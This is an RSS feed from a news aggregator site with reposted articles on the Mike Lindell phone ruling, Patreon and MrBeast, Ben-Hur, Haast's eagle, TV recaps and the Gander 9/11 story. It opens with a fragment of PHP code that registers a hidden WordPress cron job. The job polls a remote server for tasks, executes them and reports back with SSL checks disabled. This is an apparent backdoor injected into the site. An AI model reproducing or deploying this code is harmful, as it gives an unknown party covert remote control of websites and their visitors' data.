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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); came – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 22 Sep 2022 21:27:24 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png came – Brief News https://briefnews.eu 32 32 An appeals court decision against Donald Trump came back to bite MyPillow CEO Mike Lindell in a separate case https://briefnews.eu/an-appeals-court-decision-against-donald-trump-came-back-to-bite-mypillow-ceo-mike-lindell-in-a-separate-case/ https://briefnews.eu/an-appeals-court-decision-against-donald-trump-came-back-to-bite-mypillow-ceo-mike-lindell-in-a-separate-case/#respond Thu, 22 Sep 2022 21:27:24 +0000 https://briefnews.eu/an-appeals-court-decision-against-donald-trump-came-back-to-bite-mypillow-ceo-mike-lindell-in-a-separate-case/ MyPillow CEO Mike Lindell
CEO of MyPillow Mike Lindell on
April 5, 2022.

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  • A judge rejected MyPillow CEO Mike Lindell's request for DOJ to return his seized cellphone.
  • The judge cited an appeals court decision against Trump in his lawsuit over the Mar-a-Lago search.
  • Trump appointed Judge Eric Tostrud, who denied Lindell's bid to get his phone back.

Just a day after an appeals court cleared the Justice Department to review classified records seized from Mar-a-Lago, the decision proved a setback not only for former President Donald Trump but also for one of his most prominent allies.

In Minnesota, a federal judge on Thursday rejected MyPillow CEO Mike Lindell's request for the return of his cellphone, which federal agents seized last week in the drive-through line of a fast-food restaurant. The ruling from Judge Eric Tostrud came only two days after Lindell filed a lawsuit demanding that the Justice Department return his cellphone and refrain from accessing data on the device.

Ruling against Lindell, Tostrud did not have to look far to find legal precedent backing up his conclusion that the phone should remain in the Justice Department's hands. A Trump appointee confirmed in 2018, Tostrud cited the recent decision from the US Court of Appeals for the 11th Circuit that allowed the Justice Department to resume its review of about 100 classified records seized from the former president's South Florida home and private club. 

In that decision, three-judge panel of the 11th Circuit overruled a lower court order barring the Justice Department from reviewing the classified materials. The 11th Circuit panel fully embraced the Justice Department's argument that a further delay in its review of the classified records could cause "irreparable harm" to the government and public.

"It is self-evident that the public has a strong interest in ensuring that the storage of the classified records did not result in 'exceptionally grave damage to the national security,'" the 11th Circuit judges wrote.

"Ascertaining that," they added, "necessarily involves reviewing the documents, determining who had access to them and when, and deciding which (if any) sources or methods are compromised."

The 11th Circuit panel included two Trump appointees — Judges Andrew Brasher and Britt Grant — along with Judge Robin Rosenbaum, an Obama appointee. In addition to sympathizing with the Justice Department's national security concerns, the panel appeared at a loss for why Trump needed access to the classified records seized from his South Florida estate.

"For our part, we cannot discern why Plaintiff would have an individual interest in or need for any of the one-hundred documents with classification markings," the judges wrote.

Rarely does an appeals court decision so rapidly grow legs that it is cited in a separate case within 24 hours. But  Tostrud found use for it as he presides over just one of the lawsuits Trump and his allies have filed seeking to limit the Justice Department's access to evidence.

Last week, Lindell said that FBI agents swarmed his car while he was in the drive-through line at a Hardee's and presented him with a warrant for his phone. In interviews and on his online television show, Lindell said the agents asked about his ties to Tina Peters, a county clerk in Colorado who is facing state charges related to an alleged effort to obtain data from voting machines produced by Dominion Voting Systems. Peters is accused of engineering a scheme she believed would prove a long-debunked conspiracy theory that Dominion's machines were used to steal the 2020 election from Trump.

The seizure of Lindell's phone signaled interest at the federal level in the accusations against Peters. In Lindell, the search warrant targeted one of the highest-profile promoters of pro-Trump disinformation about the 2020 election.

Lindell's lawsuit followed a similar move by John Eastman, a conservative lawyer who helped advise Trump on how to overturn the 2020 election results. Eastman filed a lawsuit for the return of his cellphone after FBI agents seized it in a restaurant parking lot in New Mexico. A federal judge rejected his bid for the immediate return of his phone, and the Justice Department later obtained another search warrant to review the contents of the device. 

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Jimmy 'MrBeast' Donaldson.

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  • Patreon was in talks with Jimmy "MrBeast" Donaldson earlier this year, Insider has learned.
  • The deal, which would see the YouTuber creating subscription content, was worth millions but never materialized.
  • News of the negotiations arrives amid layoffs within Patreon's creator partnerships team.

Earlier this year, Patreon had its sights set on onboarding one of the most well-known creators on earth. 

The company was in talks with Jimmy Donaldson, known to his millions of followers as MrBeast, for a deal that would see the marquee YouTuber creating subscription content, two former employees told Insider.

One of the former employees said the prospective deal "had enough zeroes to fall in the millions." The second said it could've been valued at as much as $ 10 million.

Ultimately, though, the deal never came to pass. It fell apart by July, according to the second former employee.

A representative for MrBeast declined to comment.

Ellen Satterwhite, Patreon's interim head of communications and US policy lead, told Insider that the company would not comment on personal or sensitive information about specific creators.

News of the negotiations arrives as Patreon announced cuts to its creator partnerships team, which works to onboard and support creators. Patreon founder and CEO Jack Conte wrote in a memo on September 13 that the company's creator partnerships efforts would "take a more scaled approach with a smaller, consolidated team in the US."

All told, the layoffs impacted 80 of roughly 470 staffers across various teams. 

While a deal with MrBeast never materialized, other deals that Patreon closed appear to have fallen spectacularly short of expectations. Company documents obtained by Insider show that deals with TikTok megastars Larray and Lil Huddy brought in far less in their first months on the platform than the company projected.

"They saw these deals as experiments to play around with and test certain strategies," the second former employee said. "Apparently, only a few months ago, there was enough money in the bank to spend several million to sign creators with exclusively Gen-Z followings who of course can't that easily spend $ 10 or more per month for exclusive content."

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]]> https://briefnews.eu/patreon-was-in-talks-to-onboard-mrbeast-in-a-deal-that-could-have-been-worth-millions-but-never-came-to-pass/feed/ 0 Charlton Heston Had One Worry When It Came To Ben-Hur’s Famous Chariot Race https://briefnews.eu/charlton-heston-had-one-worry-when-it-came-to-ben-hurs-famous-chariot-race/ https://briefnews.eu/charlton-heston-had-one-worry-when-it-came-to-ben-hurs-famous-chariot-race/#respond Mon, 19 Sep 2022 09:00:37 +0000 https://briefnews.eu/charlton-heston-had-one-worry-when-it-came-to-ben-hurs-famous-chariot-race/

Where the industry now embraces the trend of “too big to fail” superhero blockbusters, there was a point in Hollywood history where sprawling religious epics were the big ticket item, with “Ben-Hur” enduring as one of the most successful of its kind. It would be over 38 years until “Titanic,” followed by “The Return of the King,” would break the unprecedented Oscar streak set by William Wyler’s 1959 epic, which took home 11 Academy Awards in one night.

Based on General Lew Wallace’s 1880 novel of the same name, “Ben-Hur” stars former Hollywood megastar Charlton Heston as the affluent Jewish prince who is thrust on an epic journey of faith, friendship, and betrayal after his best friend Messala (Stephen Boyd) imprisons him for speaking ill against the Roman Empire.

Clocking in at over three and a half hours, “Ben-Hur” is as much an acting showcase as it is a spectacular display of scope. Though there may be few, its action sequences are incredibly memorable. The chaotic sea battle/prison escape is staggering to watch unfold, but the identity of “Ben-Hur” would be nothing without the chariot race.

To this day, the chariot battle between Judah and Messala is a riveting piece of filmmaking whose practicality can still be felt on the screen.

Heston Believed One-On-One Rehearsal Could Only Go So Far

Not only did they construct this entire set for one expansive scene, they also shot an actual live chariot race within its walls, performed by legendary stuntman Yakima Canutt. According to an interview Heston gave on Gloria Hunniford‘s religious program, not only did Canutt direct the race, but helped the “Ten Commandments” actor train on the chariot for five weeks prior to the big shoot.

Heston was grateful for Canutt’s guidance, but even with all of the preparation, he still felt nervous about interacting with other chariots during the scene, an apprehension his mentor squashed with a great piece of advice:

“I said, ‘all the time it’s just been you and me and this one team, several hours a day. When we do this sequence there’ll be eight other teams out there. That’s not so easy.’ And he looked at me, he said, ‘Chuck, you just make sure you stay in the chariot. I guarantee you’re gonna win the damn race.’

Heston would ultimately show his gratitude by presenting the Honorary Oscar to Canutt at the 39th Academy Awards in 1967 for all of his dedicated work within the industry (“El Cid”). As for the chariot race, I’d say the finished result speaks for itself.

In addition to its practicality, this sequence lives in the sounds of the moment, with no music to underscore the tension between Judah and Messala. The whips, cheers, and horse clopping clog the soundtrack to make an already pivotal scene even more suspenseful.

Stuntman Joe Canutt Was Nearly Flown From The Chariot

While Heston wasn’t thrown from the chariot, that didn’t mean someone else wasn’t. Within the race, there’s a shocking moment where Judah isn’t able to veer away from a chariot wreck right in front of him, sending him flying up and over. According to a Snopes report, the stunt was performed by Yakima’s son, Joe, who was often Heston’s double. He was only left with a gash on his chin that required some stitches, but in the film, Wyler made it look like a scrape across Judah’s head.

It’s still pretty shocking to see just how much airtime Joe gets. Accidents like these are no stranger to the film adaptations. In researching the history of the 1925 silent epic starring Ramon Novarro and Francis X. Bushman, you’ll find one of the most chaotic stories of Hollywood set recklessness, let alone all of the barbarousness when the production was still in Rome. Horse deaths, fires, bets, fascists, and the theft of priceless historical artifacts are among the many disasters associated with that infamous shoot.

The only reckless stunt Timur Bekmambetov’s 2016 reimagining can be accused of is releasing a poorly marketed $ 100 million remake of a Best Picture winner at the end of the summer movie season.

“Ben-Hur” is currently available to rent or buy on most streaming platforms.

Read this next: The 15 Best Historical Epic Movies Ranked

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The now-extinct Haast’s eagle hunting moa in New Zealand, which lacked other large predators. Today scientists are looking at the ancient history of the islands’ birds to better understand how “natural” biological invasions happen.

Enlarge / The now-extinct Haast’s eagle hunting moa in New Zealand, which lacked other large predators. Today scientists are looking at the ancient history of the islands’ birds to better understand how “natural” biological invasions happen. (credit: John Megahan/CC)

New Zealand has long been known as a place for the birds—quite literally. Before people arrived 700 years ago, the archipelago hosted an idiosyncratic ecosystem, nearly free of mammals. More than 200 bird species filled a food web all their own. Rather than cows or antelopes, there was a family of flightless birds known as moa. And in place of apex predators like tigers, New Zealand had Haast’s eagle.

Ever since a group of farm workers drained a swamp in the late 1860s and uncovered its buried bones, this eagle has captivated researchers. Julius Haast, the explorer and geologist who published the first notes on the species, described it as “a raptorial bird of enormous dimensions.” Today, biologists estimate that the eagles weighed up to 33 pounds—roughly 50 percent more than any raptor known today. But with a wingspan of only two to three meters—just beyond the range of a bald eagle—this was an oddly proportioned bird.

The shape of Haast’s eagle was one of many puzzles that scientists faced as they studied this long-extinct species, preserved in just a few skeletons, plus scattered bits and pieces. For nearly a century, there was a debate over whether such a large bird could fly; even after that feud was settled, questions remained about whether the bird was capable of killing moa, which in some cases would have been more than 15 times larger than the eagle itself. Now, new scientific techniques, combined with a clearer understanding of New Zealand’s geological history, has placed the Haast’s eagle amid a much larger ecological discussion: how species comes to “invade” new territories.

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Rafael Barba returned to Law & Order: SVU Thursday… and he made sure everyone knew it.

Raul Esparza’s character, who was an SVU staple in Seasons 14 through 19, left the District Attorney’s office in controversy when he stepped in to assist a mother in ending her terminally ill baby’s life. Though a jury found him not guilty of murder in the second degree, the case left a mark on the ADA. “You’ve opened my heart, and I thank you for it,” he told Liv before kissing her on the forehead and walking out of her life (and leaving the show)… until last season, when we saw them chat via video call while he was investigating voter fraud in Iowa.

In this week’s episode, Barba once more took part in an SVU case that went to trial — only this time, he provided legal counsel for the defendant. And what a show he put on! Let’s go over the highlights.

Liv and Fin grabbed coffee with Barba to “hypothetically” get his help cutting a deal for a military veteran who’d shot the man who sexually abused and impregnated his daughter. But when Barba went to discuss the case with Carisi, Sonny quickly figured out what was going on and demanded to know if Barba was representing the dad. And just like that, he was.

law-and-order-svu-recap-season-22-episode-4-Which led to the inevitable Barba-Carisi showdown in the courtroom. Barba’s tack: No jury would want to sentence an upset dad/wounded veteran to prison for acting on an impulse most parents could easily understand. Carisi’s argument, meanwhile, was that the killing was clearly premeditated and took place after the rapist had been remanded to jail to await trial — oh, and killing someone is illegal.

“Barba, he’s guilty,” Liv said when he swung by the squad room for a visit. “Is he?” the lawyer mused. “Depends on the jury.”

During the trial, Barba hammered home the point that neither SVU nor the city’s Administration for Child Services had picked up on the fact that the teen at the center of the case had been abused by her foster father — who himself was an ACS official. And because the systems designed to protect kids hadn’t done their jobs, Barba’s client had “no choice but to protect his daughter himself.”

law-and-order-svu-recap-season-22-episode-4-After a six-hour deliberation, the jury found the dad guilty of manslaughter in the second degree, which will result in a roughly three-year sentence — which was the deal Carisi had offered Barba at the start of the case. After the verdict was read, the two counselors grabbed a drink with Rollins, Fin and Kat, but Barba bailed early in order to see his mother before she took off for Florida.

Outside the bar, he ran into Liv and asked if she was mad at him. She replied that she thought he kinda made the case more about him than about seeing justice done. “The way that you had to leave,” she explained. “Maybe you weren’t defending him. Maybe you were defending yourself.”

He didn’t address her concerns directly, but noted that they “can’t change the past.” Liv looked at him sadly. “I just miss it, and you. That’s all,” she said. “Me, too,” he agreed. Then they gave each other a fond look, and he left.

Elsewhere in the squadroom:

law-and-order-svu-recap-season-22-episode-4-* When Rollins learned that Carisi was planning to spend New Year’s Eve alone, she invited him over for pizza with her and the girls. The former partners wound up snuggling on the couch, but an Amber Alert (for the girl at the center of the episode) interrupted anything else that might’ve happened.

* The Amber Alert also interrupted Fin’s romantic dinner with Phoebe, which stopped him from proposing to her. But don’t worry: He did it a while later, and she said yes.

Now it’s your turn. What did you think of Barba’s big return? Hit the comments!

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The following contains major spoilers from the Aug. 2 episode of Syfy’s Wynonna Earp.

Wynonna Earp this week located Waverly and Doc and escaped the Garden of Eden, but life proved to be thorny in a different and most unexpected way upon the trio’s return to Purgatory.

Coming out of the season premiere, Waverly herself laid eyes on a buck-naked Nicole inside the Garden, only to eventually realize that she and Doc were actually dealing with a manipulative, shape-shifting Eve, who was plotting to use then to finagle her escape. The real Nicole, meanwhile, was nursing a very busted leg after her tumble inside the zombified scientist-infected BBD lab. As such, she had to stay behind, in Rachel Valdez’s care, as Wynonna leaped into the interdimensional portal that Dr. Gloria Valdez had created then died trying to keep shut. Wynonna landed at the Garden’s arctic topside, where both she and Doc fell prey to more of Eve’s shape-shifting hijinx.

After Doc drop-kicked Eve into a portal and Wynonna convinced Waverly not to spend eternity on her father’s throne protecting the Garden, the trio found/used another portal and each landed in a different spot in Purgatory. Waverly found the true Nicole and enjoyed a passionate reunion, while Wynonna and Doc came to witness that all is not well in their hometown. We and Waverly then learned from Nicole just how long the gang’s brief visit to the Garden actually lasted — 18 months, three weeks and four days!

TVLine jumped on the phone with showrunner Emily Andras to talk about the time jump, the “new” Purgatory and giving “WayHaught” fans some well-earned romance.

TVLINE | So Wynonna, Doc and Waverly just made their way back to Purgatory, and Waverly reunited with Nicole—
Did she ever!

TVLINE | —only to later realize that more than 18 months passed while she was in the Garden. How do you decide what is long enough, and how much would have been too long a period of time?
I think we wanted it to be long enough to realize that the characters will have changed, and we will be really intrigued by what the ones who have been left behind have been through, what they’ve had to do to survive, how they coped without their friends. But at the same time, we didn’t want it to start feeling like a May-December romance. Like, 40 years probably would have been too much.

TVLINE | Even three, you’d be like, “Aww, man, Nicole went three years without Waverly? That’s sad.”
Yeah. I feel like we wanted to be mean, but like Wynonna Earp-mean. You understand it, but you’re not devastated. Anything over a year, I feel like that’s when people start to get really weird, if people I loved were gone for over a year. There’s something about 18 months — you understand that for the people left behind, they would have started to wonder if this was their new reality and they had to make a new go at their lives.

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A scene from ‘Wynonna Earp’ Season 4, Episode 3

TVLINE | Let’s talk about this new reality. Wynonna and Doc got at least one visual hint about what’s going on. How would you sum up what all has changed?
I would say that Purgatory is back to a traditional Western town. When you think about Deadwood or a spaghetti Western, you think about how the laws work a bit differently, how it’s a bit more ruthless. We see bodies hanging in the streets of downtown Purgatory. There’s a sense that without Wynonna as the whiskey-soaked, I-guess-“cop” in town, things have maybe gone a little darker, a little grittier. Law and order and justice mean something different now in Purgatory.

TVLINE | Which of the characters that were left behind changed most?
I would say there’s no doubt that Nicole has been through a lot…. We still don’t know what happened to a couple characters, like Jeremy and Robin. and we don’t know the fate of poor Nedley, who was injured the last time we saw him. And he was left with Mercedes “I was a slutty nurse once for Halloween” Gardner.

TVLINE | “Once.”
[Laughs] Sure, “once.” But hey, man, you go in with the help you’ve got, and that’s who he had, so I don’t know if I would put his odds super-high. To be honest, there’s definitely some trauma and some sadness and some consequences in the next episode, that our characters are really thrust into. What are this gulf of time and space going to mean between loved and friends and family…? Stay tuned.

TVLINE | Are we done with Eve?
I dunno, are you ever done with anything on this show? She got kicked out a door, so I feel like she’s not right up in our grill, but….. You never know!

Wynonna Earp - Season 4TVLINE | I’ve already seen a couple of fans, working off of not-entirely subtle tweets by some of the people who saw screeners, worrying that it’s not really Nicole that Waverly reunited with. Are you able to set the record straight that it’s definitely Nicole?
Yes, definitely. I would definitely want that, especially with issues of consent. I promise that it was consensual and beautiful and you can enjoy it. I would say you don’t have to worry about Eve right now, for sure. Plus, I trust Waverly’s judgement. She knew the second she kissed Eve in the Garden that it wasnt Nicole, she just knew.

TVLINE | Lastly, talk about that WayHaught love scene. There is admittedly much LGBTQ content out there that I have never seen, but it seemed to be pretty significant in the scheme of things.
I would like to think so. I certainly think there were some incredible, brave shows and souls that paved the way, and I was lucky enough to be on Lost Girl, which had a bisexual lead and we did all sorts of things as far as sex scenes. But I am extraordinarily proud of that [WayHaught] scene, and I feel like it’s so earned four seasons in — for the characters, but also for the fandom. What a celebration! What a hungry, passionate, desperate, telling, sensual and romantic reunion for a queer couple, for a female-female couple! It speaks to the trust that Dominique [Provost-Chalkley] and Kat [Barrell] have with us. It was all very carefully choreographed and discussed, but it’s so important to everyone involved to get it right.

I do think it’s something you see with heterosexual couples a little more often, to say the least.

TVLINE | With queer couples, you get a kiss but there’s always, like, a hand in the way—
[Laughs] Or it’s badly lit. I was watching the lighting on this like a hawk, because a common, hilarious complaint of LGBTQ fans is, “I think they kissed… or they were sharing a sandwich.”

TVLINE | Or, “Look, a flood light is suddenly mounted behind them blowing everything out!”
Exactly. We really were all quite determined that we were going to take it as far as we could. And to Syfy’s credit, they were so immensely supportive. That’s the benefit, too, of being 10 pm cable. And again, Dom and Kat had complete approval of the scene, and they are very comfortable with each other, and with our director…. I just want the LGBTQ Earpers to be able to celebrate it and love it and just really be in the moment. But I also want anyone who’s straight and believes in love to see this beautiful love scene, between two people who are maybe destined to be together. I hope that everybody can enjoy it, whatever your jam is, man.

TVLINE | Does that scene look different in your old time slot?
Yes, I would say so. I would say that scene looks different four years ago. But again, I feel like it speaks to the strides we’ve all made and what is acceptable. And for me personally, I would say that because of the things that are important in my own storytelling and what I have based a lot of my career on pushing for, that is one that I thought was worth fighting for. So I hope anyone notices it. We’ll see!

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]]> https://briefnews.eu/wynonna-earp-boss-breaks-down-that-big-time-twist-and-the-10-pm-cable-sequence-that-came-before-it/feed/ 0 The Voice Recap: Which of the Top 24 Came Alive During the Playoffs? https://briefnews.eu/the-voice-recap-which-of-the-top-24-came-alive-during-the-playoffs/ https://briefnews.eu/the-voice-recap-which-of-the-top-24-came-alive-during-the-playoffs/#respond Tue, 30 Apr 2019 10:58:07 +0000 http://briefnews.eu/the-voice-recap-which-of-the-top-24-came-alive-during-the-playoffs/ Sharpen the axe! Ahead of a dozen (!) eliminations Tuesday, the 24 remaining contestants on The Voice all performed Monday night in hopes of continuing on to Maelyn Jarmon’s coronation as the winner of Season 16 the Top 12 (well, 13, since next Monday, the show will be adding to the mix the winner of The Comeback Stage). Which of the contenders sounded like they were in the clear, and which sounded like they were in trouble? Let’s discuss…

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the-voice-recap-maelyn-jarmon-kalvin-jarvis-top-24-live-playoffsRod Stokes, “Midnight Rider” — Grade: B | At the beginning of his performance, Rod’s gravelly voice gave me big-time Pryor Baird vibes. And I liked the way he hurled every note out of his throat like he was trying to launch a ball over an extra-tall fence. The song, though, didn’t really go anywhere or allow him to show off a whole lotta range. So, in the end, he came off like a potentially great vocalist who’d given just a very-good performance. He needed a “Holy crap!” moment.

Matthew Johnson, “Ordinary People” — Grade: C | When Matthew stepped into the spotlight, he started singing so smoothly, I wanted to lie down and take a nap in the notes; they were that silk-sheet-like. As the number went on, Mr. Personality remained mostly good, but hit a pitch problem now and then, and didn’t have as easy a time of going big as some of his rivals in the R&B lane were sure to. I also feared that his botched kickoff to his falsetto had almost certainly put him in line for elimination Tuesday.

Rebecca Howell, “Wild One” — Grade: C+ | There was something muted about this performance by the singer that Kelly called her “dark horse.” It wasn’t bad by any means, but it didn’t really pick up steam until she got to the second verse. And shouldn’t there be some — any? — element of wildness to a cover of a song called “Wild One”? It wasn’t at all the slam-dunk that it should have been — and probably needed to have been — since she was competing with another country gal just on her team, never mind Blake Shelton’s.

Presley Tennant, “Nothing Breaks Like a Heart” — Grade: C+ | Though known for her bombastic vocals, the 16-year-old started off singing in a soft, controlled fashion before building up to the growly roar that’s made her a favorite of her coach’s. And she definitely has range, but she again struck me as someone with a more powerful voice than she could completely keep in check. So the overall impression that she made was that she’d given a performance that was as sloppy as it was passionate.

Abby Kasch, “I Got the Boy” — Grade: D | I’ve been bewildered for some time now as to what Kelly’s fascination with Abby is. The coach keeps saying that Abby’s a strong country singer in the Tanya Tucker vein, but that seems like a terrible diss of TT to me — and it seemed even more insulting after this flat-as-a-pancake performance. Not to put too fine a point on it, but… blech.

the voice recap maelyn jarmon kalvin jarvis top 24 live playoffsJej Vinson, “Love Lies” — Grade: C | Considering how impeccable Jej’s vocals usually are, I could only assume that he couldn’t hear himself Monday night. He had enough pitch problems for two contestants. Even when he was hitting the notes, his performance often felt desperate to me. Like, I wanted to stop listening, because it was just plain uncomfortable. Luckily for him, he’d already garnered enough of a following that I suspect he’ll still make it into the Top 12.

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Lisa Ramey, “The Weight” — Grade: B- | In my heart of hearts, I was rooting hard for Lisa, partly because I know the show tends not to favor singers out of their teens, partly because I really think she has it in her to be great. Here, her experience and polish showed — she put on a confident, energetic show. But I was afraid that it hadn’t been enough of a “Wow!” to win over voters more drawn to the youngsters.

Jacob Maxwell, “Total Eclipse of the Heart” — Grade: D+ | On the other hand, some of the youngsters in the competition are as mediocre as poor Jacob. True story, by the way: I was literally typing the words, “For the most part, this wasn’t painful to listen to, certainly not as painful as I feared it would be”… when it got painful. Not as bad as his disastrous Police cover during the Battles — yeah, I still have nightmares about that — but pretty bad all the same.

Jimmy Mowery, “Young Blood” — Grade: C | I’ve soured on Jimmy over the course of the competition. I still think he has potential, but he just doesn’t know quite what to do with his big voice. Here, he had an ear-catching, raw quality to his vocals, and he managed to sound pretty good, especially considering how much bouncing around the stage he did. He just didn’t sound like a star, or even a Top 12 contender.

the voice recap maelyn jarmon kalvin jarvis top 24 live playoffsCelia Babini, “The Chain” — Grade: B | I went into this performance with fingers crossed. Celia had been one of my favorites from the Blinds but had kinda fallen apart in the Live Cross Battles. Her Fleetwood Mac cover was much stronger than that Cross Battles mishap; not perfect but significantly closer. And it had kind of a raging energy that swept me along with it. Nevertheless, I feared she’d be in danger; like last season’s awesome Sarah Grace, Celia sounds older than she is, and that often doesn’t play well with viewers/voters.

Maelyn Jarmon, “Falling Water” — Grade: A- | Ha. No matter how iffy an episode is, it seems like we can count on Maelyn to hit the stage sounding like a superstar guest vocalist rather than a contestant. Monday, she dazzled with not only the strength but the purity of her vocal. She had a smidgen of trouble with her lower register, but was thus far so much better than anyone else we’d heard, they might as well have declared the contest over right then and there.

Shawn Sounds, “Higher Ground” — Grade: A- | On the other hand, Shawn is pretty freaking awesome. The guy is a born showman, for one thing. I mean, he is so much fun to watch, he makes it tough to look down at this recap to see whether I’m typing words or just random letters. What’s more, his voice is like an 18-wheeler at the top of a hill with its brakes off — it just goes, goes, goes, picking up speed as it does. I didn’t love this song selection, but charisma machine Shawn made it work.

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the voice recap maelyn jarmon kalvin jarvis top 24 live playoffsKalvin Jarvis, “Mine” — Grade: D+ | When Kalvin started singing, I thought this was going to be the kinda rare R&B slow jam that I really liked. But then he went a little off the rails on the chorus. From there, he went from sounding pretty good to sounding flat to sounding borderline bad. Oh, Kalvin. This was not what I was hoping for either for or from you after that solid showing in the Live Cross Battles.

Betsy Ade, “Are You Gonna Be My Girl?” — Grade: C | Though this was way better than Betsy’s performance in the Live Cross Battles, and was so rock-‘n’-roll that at one point she threw her guitar off the stage, I couldn’t see it getting her through to the Top 12. It was fun and energetic, and seemed true to Betsy’s badass vibe. But it wasn’t vocally thrilling or so memorable that I figured I’d be referring back to it in recaps seasons from now. “Remember that time Betsy Ade threw her guitar?” Nah.

the voice recap maelyn jarmon kalvin jarvis top 24 live playoffsMari, “Work It Out” — Grade: B | I kinda love everything about Mari, it turns out — the funky look, the voice that’s always better than I remember it. She’s like a hip Velma from Scooby-Doo. All that said, though, Mari’s number was plagued by audio problems and melodically… I’ll go with challenging. Mind you, I’ll be the first to say I’m probably just not cool enough to “get” this song. And regardless, Mari’s vocals and stage presence were solid.

Domenic Haynes, “Love Is a Losing Game” — Grade: B- | Whoa — could the cameraman have gone in for any tighter a closeup than he did during Domenic’s Amy Winehouse cover? I honestly wasn’t quite sure what to make of this. On the one hand, I love Domenic’s voice. He always sounds like he’s been emotionally beaten up — which I mean as a compliment. But this struck me as all over the map, like it wasn’t entirely sure what style or emotion it was going for. I didn’t hate it. I just didn’t get it.

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the voice recap maelyn jarmon kalvin jarvis top 24 live playoffsAndrew Sevener, “Boots On” — Grade: A- | I’ll be damned — I can’t even remember Andrew’s Blind Audition, but I’m pretty sure at this point he’s my favorite of all the country artists still in the contest. Even when he’s standing stock still on the stage, he has so much swagger in his voice, I’d swear he was rocking from one end to the other. This was just a total blast — powerful voice so confident, it wouldn’t even think of faltering; energetic; rollicking. In short, awesome.

Selkii, “Iris” — Grade: D+ | Seriously, WTF has happened to Selkii? After a promising start on the show, she’s kinda fallen apart. And by “kinda,” I mean “completely and totally.” This was messy, pitchy and just generally not pleasant. We know she has a good voice, but we sure as hell didn’t hear much of it here. D for disappointing.

Oliv Blu, “The Girl From Ipanema” — Grade: C- | I wish Oliv had sounded as delightful as she looked on stage. Her styling and demeanor were total jazz goddess. And she has a smile that’s so bright, they don’t have to bother with all the fancy lighting on the stage when she’s performing. Unfortunately, she sounded way off here — and not in that “Yeah, but that’s jazz for ya” kinda way. It was a bummer of a mess.

Gyth Rigdon, “I Wanna Be Loved Like That” — Grade: B- | Talk about poised! Gyth was so still during this performance, it was like he was willing us to lean in and pay closer attention to every syllable that he sang. And it worked — I did. I wasn’t crazy about the goat-like quality of his vibrato, but there’s no denying the dude is a find. He oughta sail through Tuesday’s eliminations without breaking a sweat.

Kendra Checketts, “Bad Guy” — Grade: C- | Having recently joined the cult of Billie Eilish — I’m borderline obsessed — I feel uniquely qualified to say that this started out pretty meh. Kendra’s voice just didn’t suit the singularly stylish song. When she started rocking out, making it her own, things improved — Kendra does have a big voice and managed to keep hold of the reins for the most part. But I still suspected she’d be heading home Tuesday.

Carter Lloyd Horne, “Heartbreak Hotel” — Grade: C | Not sure an Elvis cover was the best possible song choice for Carter. Where he shines tend to be numbers that play to the strength of his weathered, lived-in voice. As it was, this wasn’t bad, but it didn’t sound so uniquely “him” that I thought it would make him stand out from the pack the way that he needed to. It also lacked the energy and oomph that would’ve made me run back to the couch from the fridge if I heard it. Not that I’d ever leave the couch during The Voice, but you know what I mean.

Kim Cherry, “Waterfalls” — Grade: D+ | Oh, Kim, Kim, Kim. Much as I adore her anything-goes vibe, I couldn’t get past how pitchy she was throughout much of her TLC cover. And sorry, but the fact that she’s nerdy and raps doesn’t make her so magically special or interesting that she should stick around in the contest over (much) more polished vocalists.

Dexter Roberts, “Ain’t Nothing ‘Bout You” — Grade: B | Dexter looked and sounded so comfortable on stage Monday, it was almost like watching a preview of what it was gonna be like next season when he returned as Season 16’s winner. Only I didn’t think he would be the winner. Gyth has a lock on the intimate-country lane, and Andrew easily out-rocks Dexter. Solid, yes, but not the best of the bunch. Top 12 for sure, though.

So, what did you think? Is Maelyn unbeatable? Could Jej pull it off? One of Blake’s country artists? And who do you suspect will be going home Tuesday? Vote for the contestant you’d eliminate below, then hit the comments.

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GROUNDED: Some of the aircraft that were forced to land at Gander International Airport on 9/11 (Image: Gander Airport Authority)

IF YOU’VE flown to America via the polar route, you may have spotted the town of Gander on the moving map that charts your plane’s progress. In all honesty, there’s not much to get excited about – 9,651 people, 4,000 homes, 500 hotel rooms, seven sets of traffic lights and the occasional stray moose in the road. But a musical that’s just opened in London’s West End paints a magical picture of Gander which led one theatre critic to write: “You’ll laugh, you’ll cry and you’ll be a better person when you leave the theatre.”

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When the Twin Towers were attacked on 9/11 in 2001, air travel across North America was disrupted. Hundreds of planes heading for cities in the United States were diverted to anywhere with a runway big enough to take them.

Thirty-eight big jets carrying a total of 7,000 passengers from 95 countries – plus several cats, dogs and a pair of chimpanzees en route to a zoo – were forced to land at Gander International Airport that fateful day and the musical Come From Away tells the uplifting story of how the people of Gander took them to their hearts.

Ingenuity ranked alongside compassion. The genial, if harassed, mayor commandeered the local ice rink to act as a giant fridge for fresh food and three meals a day were conjured up for the visitors, some of whom had to stay in Gander for up to four days.

Everyone in the town got busy and the local air traffic controllers cooked chilli. Spare clothes were found, makeshift beds were made up, people of all faiths and none prayed together during the dark hours of uncertainty.

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REAL LIFE: Pilot Beverley Bass (Image: Beverley Bass)

